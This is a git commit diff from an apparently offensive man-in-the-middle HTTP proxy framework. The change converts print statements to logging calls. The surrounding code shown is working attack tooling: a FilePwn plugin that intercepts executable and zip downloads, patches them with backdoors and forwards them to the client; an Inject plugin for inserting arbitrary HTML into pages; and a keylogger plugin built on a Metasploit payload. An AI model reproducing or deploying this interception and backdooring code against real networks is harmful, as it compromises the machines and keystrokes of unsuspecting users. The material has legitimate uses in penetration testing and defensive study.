cleaned logging output

This commit is contained in:
byt3bl33d3r 2014-07-14 01:47:10 +02:00
parent 27552b08a0
commit 0eda0eab12
4 changed files with 25 additions and 33 deletions

View file

@ -25,7 +25,6 @@ class FilePwn(Plugin):
optname = "filepwn" optname = "filepwn"
implements = ["handleResponse"] implements = ["handleResponse"]
has_opts = False has_opts = False
log_level = logging.DEBUG
desc = "Backdoor executables being sent over http using bdfactory" desc = "Backdoor executables being sent over http using bdfactory"
def convert_to_Bool(self, aString): def convert_to_Bool(self, aString):
@ -160,17 +159,15 @@ class FilePwn(Plugin):
return result return result
except Exception as e: except Exception as e:
print 'Exception', str(e)
logging.warning("EXCEPTION IN binaryGrinder %s", str(e)) logging.warning("EXCEPTION IN binaryGrinder %s", str(e))
return None return None
def zipGrinder(self, aZipFile): def zipGrinder(self, aZipFile):
"When called will unpack and edit a Zip File and return a zip file" "When called will unpack and edit a Zip File and return a zip file"
print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB' logging.info("ZipFile size: %s KB" % (len(aZipFile) / 1024))
if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']): if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']):
print "[!] ZipFile over allowed size"
logging.info("ZipFIle maxSize met %s", len(aZipFile)) logging.info("ZipFIle maxSize met %s", len(aZipFile))
return aZipFile return aZipFile
@ -194,20 +191,20 @@ class FilePwn(Plugin):
logging.info('Encrypted zipfile found. Not patching.') logging.info('Encrypted zipfile found. Not patching.')
return aZipFile return aZipFile
print "[*] ZipFile contents and info:" logging.info("ZipFile contents and info:")
for info in zippyfile.infolist(): for info in zippyfile.infolist():
print "\t", info.filename, info.date_time, info.file_size logging.info("\t%s %s %s" % (info.filename, info.date_time, info.file_size))
zippyfile.extractall(tmpDir) zippyfile.extractall(tmpDir)
patchCount = 0 patchCount = 0
for info in zippyfile.infolist(): for info in zippyfile.infolist():
print "[*] >>> Next file in zipfile:", info.filename logging.info(">>> Next file in zipfile: %s" % info.filename)
if os.path.isdir(tmpDir + '/' + info.filename) is True: if os.path.isdir(tmpDir + '/' + info.filename) is True:
print info.filename, 'is a directory' logging.info('%s is a directory' % info.filename)
continue continue
#Check against keywords #Check against keywords
keywordCheck = False keywordCheck = False
@ -223,8 +220,7 @@ class FilePwn(Plugin):
continue continue
if keywordCheck is True: if keywordCheck is True:
print "[!] Zip blacklist enforced!" logging.info('Zip blacklist enforced on %s' % info.filename)
logging.info('Zip blacklist enforced on %s', info.filename)
continue continue
patchResult = self.binaryGrinder(tmpDir + '/' + info.filename) patchResult = self.binaryGrinder(tmpDir + '/' + info.filename)
@ -232,15 +228,12 @@ class FilePwn(Plugin):
if patchResult: if patchResult:
patchCount += 1 patchCount += 1
file2 = "backdoored/" + os.path.basename(info.filename) file2 = "backdoored/" + os.path.basename(info.filename)
print "[*] Patching complete, adding to zip file."
shutil.copyfile(file2, tmpDir + '/' + info.filename) shutil.copyfile(file2, tmpDir + '/' + info.filename)
logging.info("%s in zip patched, adding to zipfile", info.filename) logging.info("%s in zip patched, adding to zipfile" % info.filename)
else: else:
print "[!] Patching failed" logging.info("%s patching failed. Keeping original file in zip." % info.filename)
logging.info("%s patching failed. Keeping original file in zip.", info.filename)
print '-' * 10
if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting. if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting.
logging.info("Met Zip config patchCount limit.") logging.info("Met Zip config patchCount limit.")
@ -250,12 +243,12 @@ class FilePwn(Plugin):
zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED) zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED)
print "[*] Writing to zipfile:", tmpFile logging.debug("Writing to zipfile: %s" % tmpFile)
for base, dirs, files in os.walk(tmpDir): for base, dirs, files in os.walk(tmpDir):
for afile in files: for afile in files:
filename = os.path.join(base, afile) filename = os.path.join(base, afile)
print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '') logging.debug('[*] Writing filename to zipfile: %s' % filename.replace(tmpDir + '/', ''))
zipResult.write(filename, arcname=filename.replace(tmpDir + '/', '')) zipResult.write(filename, arcname=filename.replace(tmpDir + '/', ''))
zipResult.close() zipResult.close()
@ -273,12 +266,14 @@ class FilePwn(Plugin):
content_header = request.client.headers['Content-Type'] content_header = request.client.headers['Content-Type']
if content_header in self.zipMimeTypes: if content_header in self.zipMimeTypes:
print "[+] Detected supported zip file type!" logging.info("%s Detected supported zip file type!" % request.client.getClientIP())
bd_zip = self.zipGrinder(data) bd_zip = self.zipGrinder(data)
return {'request':request,'data':bd_zip} if bd_zip:
logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP())
return {'request':request,'data':bd_zip}
elif content_header in self.binaryMimeTypes: elif content_header in self.binaryMimeTypes:
print "[+] Detected supported binary type!" logging.info("%s Detected supported binary type!" % request.client.getClientIP())
fd, tmpFile = mkstemp() fd, tmpFile = mkstemp()
with open(tmpFile, 'w') as f: with open(tmpFile, 'w') as f:
f.write(data) f.write(data)
@ -288,9 +283,9 @@ class FilePwn(Plugin):
if patchb: if patchb:
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
os.remove('./backdoored/' + os.path.basename(tmpFile)) os.remove('./backdoored/' + os.path.basename(tmpFile))
print "[*] Patching complete, forwarding to user." logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP())
return {'request':request,'data':bd_binary} return {'request':request,'data':bd_binary}
else: else:
print "[-] File is not of supported Content-Type: %s" % content_header logging.debug("%s File is not of supported Content-Type: %s" % (request.client.getClientIP(), content_header))
return {'request':request,'data':data} return {'request':request,'data':data}

View file

@ -8,7 +8,6 @@ class Inject(CacheKill,Plugin):
optname = "inject" optname = "inject"
implements = ["handleResponse","handleHeader","connectionMade"] implements = ["handleResponse","handleHeader","connectionMade"]
has_opts = True has_opts = True
log_level = logging.DEBUG
desc = "Inject arbitrary content into HTML content" desc = "Inject arbitrary content into HTML content"
def initialize(self,options): def initialize(self,options):
@ -33,7 +32,7 @@ class Inject(CacheKill,Plugin):
self.dtable = {} self.dtable = {}
self.count = 0 self.count = 0
self.mime = "text/html" self.mime = "text/html"
print "[*] %s plugin online" % self.name print "[*] Inject plugin online"
def handleResponse(self,request,data): def handleResponse(self,request,data):

View file

@ -10,7 +10,7 @@ class jskeylogger(Inject, Plugin):
def initialize(self,options): def initialize(self,options):
Inject.initialize(self, options) Inject.initialize(self, options)
self.html_payload = self.msf_keylogger() self.html_payload = self.msf_keylogger()
print "[*] %s online" % self.name print "[*] %s plugin online" % self.name
def msf_keylogger(self): def msf_keylogger(self):
#Stolen from the Metasploit module http_javascript_keylogger #Stolen from the Metasploit module http_javascript_keylogger

View file

@ -55,21 +55,19 @@ class ServerConnection(HTTPClient):
t = line.split('=') t = line.split('=')
dict[t[0]] = t[1] dict[t[0]] = t[1]
return dict return dict
def getLogLevel(self):
return logging.DEBUG
def getPostPrefix(self): def getPostPrefix(self):
return "POST" return "POST"
def sendRequest(self): def sendRequest(self):
logging.log(self.getLogLevel(), "%s Sending Request: %s %s%s" % (self.client.getClientIP(), self.command, self.headers['host'], self.uri)) if self.command == 'GET':
logging.info("%s Sending Request: %s %s" % (self.client.getClientIP(), self.command, self.headers['host']))
self.plugins.hook() self.plugins.hook()
self.sendCommand(self.command, self.uri) self.sendCommand(self.command, self.uri)
def sendHeaders(self): def sendHeaders(self):
for header, value in self.headers.items(): for header, value in self.headers.items():
#logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value)) logging.debug("Sending header: %s : %s" % (header, value))
self.sendHeader(header, value) self.sendHeader(header, value)
self.endHeaders() self.endHeaders()
@ -106,7 +104,7 @@ class ServerConnection(HTTPClient):
self.transport.write(self.postData) self.transport.write(self.postData)
def connectionMade(self): def connectionMade(self):
#logging.log(self.getLogLevel(), "HTTP connection made.") logging.debug("HTTP connection made.")
self.plugins.hook() self.plugins.hook()
self.sendRequest() self.sendRequest()
self.sendHeaders() self.sendHeaders()
@ -115,7 +113,7 @@ class ServerConnection(HTTPClient):
self.sendPostData() self.sendPostData()
def handleStatus(self, version, code, message): def handleStatus(self, version, code, message):
#logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message)) logging.debug("Got server response: %s %s %s" % (version, code, message))
self.client.setResponseCode(int(code), message) self.client.setResponseCode(int(code), message)
def handleHeader(self, key, value): def handleHeader(self, key, value):
@ -166,7 +164,7 @@ class ServerConnection(HTTPClient):
logging.debug("Decompressing content...") logging.debug("Decompressing content...")
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
#logging.log(self.getLogLevel(), "Read from server:\n" + data) logging.debug("Read from server:\n" + data)
data = self.replaceSecureLinks(data) data = self.replaceSecureLinks(data)